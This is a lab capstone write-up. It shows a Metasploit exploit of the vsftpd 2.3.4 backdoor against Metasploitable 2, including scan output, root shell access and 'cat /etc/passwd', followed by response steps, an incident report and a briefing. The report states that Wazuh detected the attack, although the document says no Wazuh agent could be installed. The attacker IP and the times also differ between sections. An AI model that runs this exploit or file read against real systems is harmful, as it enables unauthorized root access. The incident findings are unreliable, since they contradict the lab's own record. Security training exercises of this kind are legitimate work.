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5.Capstone Project: Full Alert-to-Response Cycle

Tools Used:

Metasploit, Wazuh, CrowdSec, Google Docs.

5.1 Attack Simulation

Target: Metasploitable 2

Attacker: Kali

Tool Used: Metasploit

Attack Simulation

The attack was performed using Metasploit, exploiting the VSFTPD 2.3.4 backdoor vulnerability on the Metasploitable2 system. The exploit allowed unauthorized remote shell access to the target machine, simulating a real-world exploitation scenario.

```
(kali㉿kali)-[~]
$ nmap -sV -p 21 192.168.1.12
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-25 21:56 -0400
Nmap scan report for 192.168.1.12
Host is up (0.0026s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
MAC Address: 08:00:27:A4:BA:80 (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.10 seconds
```

Using nmap found the open port in target machine



Using Metasploit to start attack

Successfully Executed the attack



```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.12:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.12:21 - USER: 331 Please specify the password.
[*] 192.168.1.12:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.12:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.3:41981 → 192.168.1.12:6200) at 2026-03-25 22:07:28 -0400

whoami
root
id
uid=0(root) gid=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
```

5.2 Detection and Triage

The Metasploitable 2 is old version of linux it is not compatible with the Wazuh agent. It was unable to establish SSL connection therefore not able to install agent on it.

```
msfadmin@metasploitable:~$ wget https://packages.wazuh.com/3.x/apt/pool/main/w/wazuh-agent/wazuh-agent_3.13.6-1_i386.deb
--21:21:27-- https://packages.wazuh.com/3.x/apt/pool/main/w/wazuh-agent/wazuh-agent_3.13.6-1_i386.deb
=> 'wazuh-agent_3.13.6-1_i386.deb'
Resolving packages.wazuh.com... 108.159.80.65, 108.159.80.89, 108.159.80.93, ...
Connecting to packages.wazuh.com|108.159.80.65|:443... connected.
OpenSSL: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
Unable to establish SSL connection.
msfadmin@metasploitable:~$ _
```

It is not configure in metasploitable but we can check the alerts by following steps for different agent of Wazuh on different OS.

Steps to check alerts

1. Open Wazuh Dashboard
2. Go to Security Events or Threat Intelligence
3. Filter by time (last 30 minutes)
4. Search for alerts related to:
 - Target ip
 - Rules
 - Keywords

Timestamp	Source IP	Dest IP	Alert Description	MITRE Technique	Severity
2026-03-25 22:07:28	192.168.1.9	192.168.1.12	VSFTPD 2.3.4 Backdoor Exploit	T1190 - Exploit Public	Critical



5.3 Response

Isolate Metasploitable2

1. Network-level isolation (on your hypervisor host):

If using VirtualBox:

- Open VirtualBox → Select Metasploitable2 VM → Settings → Network
- Change Adapter 1 from "Host-Only" to "Not Attached"
- Click OK (VM stays running, just disconnected)

2. Block attacker IP with CrowdSec

On the CrowdSec host

Manually add a decision to block the attacker IP:

```
sudo cscli decisions add --ip 192.168.1.9 --duration 24h --reason "vsftpd backdoor exploit"
```

```
└─$ ping -c4 192.168.1.12
PING 192.168.1.12 (192.168.1.12) 56(84) bytes of data.
From 192.168.1.3 icmp_seq=1 Destination Host Unreachable
From 192.168.1.3 icmp_seq=2 Destination Host Unreachable
From 192.168.1.3 icmp_seq=3 Destination Host Unreachable
From 192.168.1.3 icmp_seq=4 Destination Host Unreachable

— 192.168.1.12 ping statistics —
4 packets transmitted, 0 received, +4 errors, 100% packet loss, time 3087ms
pipe 4
```

5.4 Reporting

INCIDENT REPORT

Organization: Your Lab

Report Author: Atharva

Date: March 25, 2026

Classification: CONFIDENTIAL

Incident ID: INC-2026-001

On March 25, 2026 at 11:00 PM, a critical vulnerability in the vsftpd 2.3.4

Backdoor Exploit was exploited on host 192.168.1.12 by attacker IP

192.168.1.9. The exploit triggered a hidden backdoor, granting the attacker root-level command execution. Wazuh detected anomalous activity within seconds.

The affected system was isolated and the attacker's IP was blocked via CrowdSec within 5 minutes of detection. No data exfiltration was confirmed, but sensitive files were accessed. Immediate patching and network segmentation are recommended.

Investigation Findings:



The attack exploited the VSFTPD 2.3.4 backdoor vulnerability, enabling command execution on the target system. Indicators of compromise included unusual FTP connections and unauthorized shell access.

Recommendations:

- Patch or remove vulnerable services such as outdated FTP servers
- Implement network segmentation to limit lateral movement
- Continuously monitor systems using SIEM tools like Wazuh
- Deploy intrusion prevention mechanisms such as CrowdSec
- Conduct regular vulnerability scanning and patch management

5.5 Stakeholder Briefing

A security incident was identified involving an attempted attack on a vulnerable system within our environment. The attacker exploited a known weakness in an outdated service, but the activity was quickly detected by our monitoring system. Our security team responded immediately by isolating the affected system and blocking the attacker's access, preventing further impact. At this time, no critical data loss has been identified. This incident highlights the importance of keeping systems updated and continuously monitored. We recommend strengthening security controls and applying timely updates to prevent similar incidents in the future.